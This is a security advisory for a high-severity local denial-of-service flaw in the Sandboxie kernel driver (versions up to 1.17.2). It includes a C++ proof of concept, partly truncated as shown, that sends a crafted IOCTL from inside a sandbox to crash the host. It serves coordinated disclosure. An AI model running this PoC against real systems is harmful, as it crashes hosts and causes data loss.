Local Denial of Service (DoS) Vulnerability Exploitable by Sandboxed Process

High **DavidXanatos** published **GHSA-vvf8-cf4j-v8fv** yesterday

Package

No package listed

Affected versions

<= 1.17.2

Patched versions

1.17.3

Description

Summary

A Local Denial of Service (DoS) vulnerability exists in the Sandboxie kernel driver. An unprivileged, sandboxed attacker can send a maliciously crafted IOCTL to the driver, and triggering an immediate kernel crash. The vulnerability affects the Standard Sandbox configuration (both with and without dropped administrator privileges), but does not affect the Security Hardened Sandbox configuration.

Details

I can speculate on the true root cause but drivers are not my specialty.
I'm confident the experienced maintainer of this project will have no trouble figuring it out.

Looks like the API_INVOKE_SYSCALL routing leads to a SMAP trap issue which leads to an `__except` handler—where a corrupted SEH stack unwinding phase forces a jump to an invalid, Non-Executable address.

My minidump records a BSOD with this check
"ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY"

Regardless of the exact internal routing, the result is an instant hardware trap that renders the host system completely unresponsive.

PoC

Note that it has been tested and confirmed to work instantly and reliably on Windows 11 24H2 with Sandboxie-Plus-x64-v1.17.2.

The following poc will send the malformed IOCTL directly to the Sandboxie API driver `\Device\SandboxieDriverApi`.

1. Launch a process inside a Standard Sandbox (e.g., Run Sandboxed -> cmd.exe). It works regardless of whether "Drop rights from administrators" is checked.
2. Compile and execute the minimal C++ PoC below.

C++ Poc

```
#include <windows.h>
#include <winternl.h>
#include <stdio.h>

#pragma comment(lib, "ntdll.lib")

#define API_SBIEDRV_CTLCODE 0x222007

extern "C" {
    NTSTATUS NTAPI NtOpenFile(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK
    NTSTATUS NTAPI NtDeviceIoControlFile(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STA
    VOID NTAPI RtlInitUnicodeString(PUNICODE_STRING, PCWSTR);
}

typedef struct _ANSI_STRING64 {
    USHORT Length;
    USHORT MaximumLength;
    ULONG64 Buffer;
} ANSI_STRING64;

int main() {
    HANDLE hDevice;
    UNICODE_STRING devName;
    OBJECT_ATTRIBUTES objAttr;
    IO_STATUS_BLOCK isb;

    RtlInitUnicodeString(&devName, L"\\Device\\SandboxieDriverApi");
    InitializeObjectAttributes(&objAttr, &devName, 0x00000040 /* OBJ_CASE_INSENSITIVE */

    if (NtOpenFile(&hDevice, GENERIC_READ, &objAttr, &isb, FILE_SHARE_READ | FILE_SHARE_
        printf("[-] Failed to open handle to Sandboxie driver.\n");
        return 1;
    }

    ULONG64 stackArgs[8] = { 0 };
    ANSI_STRING64 ansiStr = { 7, 8, (ULONG64)"So_Long_And_Thanks_For_All_The_Fish" };
    USHORT outIdx = 0;

    ULONG64 parms[8] = {
```

```
        0x12340000 + 54,        // API_INVOKE_SYSCALL
        0xFFF,                  // Magic Dynamic Syscall Bypass Index
        (ULONG64)stackArgs,     // Stack Arguments Pointer
        (ULONG64)&ansiStr,      // User-mode ANSI_STRING pointer
        (ULONG64)&outIdx        // Output Index Pointer
    };

    printf("[!] Triggering SMAP Violation????? Maybe?\n");
    NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &isb, API_SBIEDRV_CTLCODE, parms, s

    return 0;
}
```

Impact

This is a Local Denial of Service (DoS) vulnerability. Any sandboxed malware or unprivileged user executing code inside the sandbox can instantly crash the entire host operating system without requiring administrator privileges or specialized kernel exploit primitives, resulting in data loss.

Severity

High

CVE ID

CVE-2026-32603

Weaknesses

No CWEs

Credits

sammy12342 Reporter